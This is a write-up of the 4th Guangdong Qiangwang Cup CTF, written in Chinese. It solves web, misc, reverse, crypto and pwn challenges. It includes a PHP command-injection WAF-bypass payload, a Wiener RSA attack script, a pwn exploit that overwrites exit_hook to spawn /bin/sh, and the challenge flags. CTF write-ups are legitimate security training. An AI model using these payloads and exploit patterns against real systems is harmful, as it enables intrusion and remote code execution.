第四届广东省强网杯

第四届广东省强网杯

WEB

love_Pokemon

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
function DefenderBonus($Pokemon){
if(preg_match("/'|
|_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\
~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
die('catch broken Pokemon! mew-_-two');
}
else{
return $Pokemon;
??hint,payload
}
}
function ghostpokemon($Pokemon){
if(is_array($Pokemon)){
foreach ($Pokemon as $key => $pks) {
$Pokemon[$key] = DefenderBonus($pks);
}
}
else{
$Pokemon = DefenderBonus($Pokemon);
}
}
switch($_POST['myfavorite'] ?? ""){
case 'picacu!':
echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'bulbasaur!':
echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
$level = $_POST["levelup"] ?? "";
if ((!preg_match('/lv100/i',$level)) &&
(preg_match('/lv100/i',escapeshellarg($level)))){
echo file_get_contents('./hint.php');
}
break;
case 'squirtle':
echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
break;
case 'mewtwo':
$dream = $_POST["dream"] ?? "";
if(strlen($dream)>=20){
die("So Big Pokenmon!");
}
ghostpokemon($dream);
echo shell_exec($dream);
}
?>
  • 获取hint,payload:

    1
    myfavorite=bulbasaur!&levelup=lv%fa100

得到提示,flag在根目录,文件名为FLAG

1
$hint = 'flag is located in / , and NAME IS FLAG'
  • 读取FLAG测试还有多少字符能用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?php
    for ($ascii = 0; $ascii < 256; $ascii++) {
    if (!preg_match('/\'|
    |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\
    ~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i', chr($ascii))) {
    echo (chr($ascii));
    }
    }
    ?>
  • 可以得知能通过WAF的字符有下面这些:

    1
    #%,-./0123456789:@BCDFGOQXYZ[]bcdfgoqxyz
  • 空格使用TAB代替即可,读取文件可以用od文件名用正则匹配,构造一下payload

    1
    myfavorite=mewtwo&dream=od%09/F[C-Z][@-Z]G

    image-20211102091904669

  • 十六进制转字符串即可获得flag

    1
    flag{Php_Rc3_1s_V3Ry_C001_But_I_l0v3_Pokemon~}

MISC

欢迎参加强网杯

1
flag{Wec10m3_to_QwbCtF}

泄露的秘密

用Tshark将http数据包导出来得到如下:

image-20211102092130920

都是盲注的payload,根据盲注结果,讲AIISC码转换为字符即可得到flag

1
flag{Log_analysis_SQL}

memory1

取证大师直接搜flag找到一个7z压缩包,压缩包有密码

image-20211102092302704

直接看进程,正好有个7z压缩程序

image-20211102092328094

直接导出来dump,Strings得到字符串,直接搜password,那么巧有一个叫password_is_complex

image-20211102092426077

但是压缩包密码不对,直接取证大师搜:

image-20211102092452939

密码是:

1
haha_password_is_complex

解压直接得到flag

邮件的秘密

这题基本解出来了,但是最后可能是outlook的问题,最后没解出来。没解出来就不放做题截图了。。。

这题就是用修复工具将邮件修复,修复之后打开附件有一张图片,最终就是flag

RE

simplere

题目前半部分是迷宫题,根据wsad走就是前半部分的FLAG,后半部分是一个简单的异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <stdio.h>
int main() {
char a[64] = { 0x4D, 0x20, 0x7, 0x5, 0x43, 0x15, 0x7A,
0x73, 0x39, 0x1, 0x7F, 0x53, 0x66, 0x4E,0x0D, 0x18, 0x60, 0x76,
0x75, 0x0, 0x58, 0x15, 0x0, 0x32, 0x68, 0x3F, 0x78, 0x7F,0x7B,
0x64, 0x4E, 0x49, 0x0F, 0x2E, 0x3F, 0x0D, 0x0D, 0x0D, 0x64,
0x66, 0x61, 0x53,0x6, 0x44, 0x34, 0x6E, 0x69, 0x2F, 0x20, 0x14,
0x37, 0x6A, 0x49, 0x55,0x36, 0x37,0x23, 0x23, 0x2A, 0x6B, 0x73,
0x6, 0x78, 0x0B };
char b[64] = { 0x3E, 0x7A, 0x40, 0x64, 0x27, 0x25, 0x48,
0x4, 0x4F, 0x63, 0x19, 0x60, 0x0B, 0x3A, 0x75, 0x5D, 0x11,
0x4E, 0x7, 0x44, 0x30, 0x4C, 0x4B, 0x6, 0x5F, 0x73, 0x0D, 0x1A,
0x38, 0x8, 0x34, 0x78, 0x45, 0x47, 0x58, 0x3B, 0x74, 0x7D,
0x2C, 0x2B, 0x4A, 0x3C, 0x29, 0x13, 0x1, 0x3F, 0x3, 0x61, 0x70,
0x52, 0x65, 0x9, 0x22, 0x0, 0x7F, 0x59, 0x6C, 0x77, 0x72, 0x3D,
0x32, 0x55, 0x41, 0x49 };
char out[64] = {};
for (int i=0; i<64; i++) {
out[i] = a[i]^b[i];
}
for (int i=0; i<64; i++) {
printf("%c", out[i]);
}
return 1;
}

得到

1
sZGad02wvbf3mtxEq8rDhYK47LueClz1Jig6ypHM+o/W5QjNPFRckUInOTXVAS9B

BASE64:

image-20211102092744570

CRYPTO

RSA and BASE?

维纳攻击获取私钥,直接求明文然后转为字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import RSAwienerHacker
from Crypto.Util.number import *
n=5666124351942656329992005813409286237073739794994721039484302
185647742095961513255361083010496164557461500595618370319100642
150846100969878038236094356200148515345540165069753295159119173
716454752095162833694128987319897964117354123211751879170682669
9650307105202062429672725308809988269372149027026719779368169
e=3626978804470326742617734099282617214017440439057773628147889
138161229420766689152901993773272024660206235824475117794228915
566219741059443429300413095267135497370099980385015369754560631
285927255483523208953336674386736118178647212612416978709483797
7468259794816050397735724313560434944684790818009385459207329
c=1379543011013691527422298742405071919010615634495862478193503
943875277897635792492507106799116262708950904555022834556651783
899177770538637302860658094590778586748855300156247988822241730
661514022228620230459400356523216217613903170384408213541178279
90307003831352154618952447402389360183594248381165728338233
d = RSAwienerHacker.hack_RSA(e, n)
print(long_to_bytes(pow(c, d, n)))
1
2
Hacked!
b'flag{TCMDIEOH2MJFBLKHT2J7BLYZ2WUE5NYR2HNG====}'

通过对比可以知道 GHI45FQRSCX****UVWJK67DELMNOPAB3少了 ZY2T

也就是说总共有4的阶乘中可能,也就是24种。自定义映射字符,尝试多次即可发现flag

image-20211102093010913

PWN

打开程序的话,代码非常长,直接先看字符串定位关键信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
.rodata:0000000000004ED0 ; const char aCouldNotMalloc_3[]
.rodata:0000000000004ED0 aCouldNotMalloc_3 db 'could not
malloc(%d) source area',0Ah,0
.rodata:0000000000004ED0
; DATA XREF: main+2D2↑o
.rodata:0000000000004EF2 ; const char aInput[]
.rodata:0000000000004EF2 aInput db 'Input:',0
; DATA XREF: main:loc_39FC↑o
.rodata:0000000000004EF9 ; const char aDBadEnumIdenti[]
.rodata:0000000000004EF9 aDBadEnumIdenti db '%d: bad enum
identifier %d',0Ah,0
.rodata:0000000000004EF9
; DATA XREF: main+41C↑o
.rodata:0000000000004F15 ; const char aDBadEnumInitia[]
.rodata:0000000000004F15 aDBadEnumInitia db '%d: bad enum
initializer',0Ah,0
.rodata:0000000000004F15
; DATA XREF: main+475↑o
??
????????????????????????????input??????????
????????????
.rodata:0000000000004F2F ; const char aDBadGlobalDecl[]
.rodata:0000000000004F2F aDBadGlobalDecl db '%d: bad global
declaration',0Ah,0
.rodata:0000000000004F2F
; DATA XREF: main+55D↑o
.rodata:0000000000004F4B align 10h
.rodata:0000000000004F50 ; const char aDDuplicateGlob[]
.rodata:0000000000004F50 aDDuplicateGlob db '%d: duplicate
global definition',0Ah,0
.rodata:0000000000004F50
; DATA XREF: main+597↑o
.rodata:0000000000004F71 align 8
.rodata:0000000000004F78 ; const char aDBadParameterD[]
.rodata:0000000000004F78 aDBadParameterD db '%d: bad parameter
declaration',0Ah,0
.rodata:0000000000004F78
; DATA XREF: main+6A0↑o
.rodata:0000000000004F97 align 8
.rodata:0000000000004F98 ; const char aDDuplicatePara[]
.rodata:0000000000004F98 aDDuplicatePara db '%d: duplicate
parameter definition',0Ah,0
.rodata:0000000000004F98
; DATA XREF: main+6DD↑o
.rodata:0000000000004FBC ; const char aDBadFunctionDe[]
.rodata:0000000000004FBC aDBadFunctionDe db '%d: bad function
definition',0Ah,0
.rodata:0000000000004FBC
; DATA XREF: main+7D6↑o
.rodata:0000000000004FD9 ; const char aDBadLocalDecla[]
.rodata:0000000000004FD9 aDBadLocalDecla db '%d: bad local
declaration',0Ah,0
.rodata:0000000000004FD9
; DATA XREF: main+879↑o

其中

1
bad function definition

这一句话明显说明了他会检测函数调用,但是程序整体看下来只有input那有个输入点,尝试输入后返回的是一些奇怪报错

1
2
3
Input:
13213
1: bad global declaration

错误的全定义语句。

但是对input的输入方式进行仔细分析

1
*((_BYTE *)buf + read(0, buf, 0x3FFFFuLL)) = 0;

最多读入0x3ffff大小的数据到buf,最外层套上了指针,这就是吧输入数据当函数执行了

由此可以写一个test验证一下,虽然开了PIE但是要是可以真正的把输入数据当函数执行,那么地址也可以泄露出来的。

test

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
io = process(ELF("./c4").path)
payload= '''
int main(){
int flag;
printf("%p\n",&flag);
}
'''
gdb.attach(sh)
io.sendline(payload)
io.interactive()

的确可以得到地址

1
2
3
Input:
0x7f5519554fd8
exit(15) cycle = 10

而且经过测试,这个变量的确是低3位不改变的,用了计算libc_base是可以的。

直接打exit_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
io=process('./c4')
payload= '''
int main(){
int base,system,exit;
base = *(&system-2)-0x553fd8;
system = base + 0x04F550;
exit = base + 0xe4ba0;
* (int *)exit = system;
exit("/bin/sh");
}
'''
io.send(payload)
io.interactive()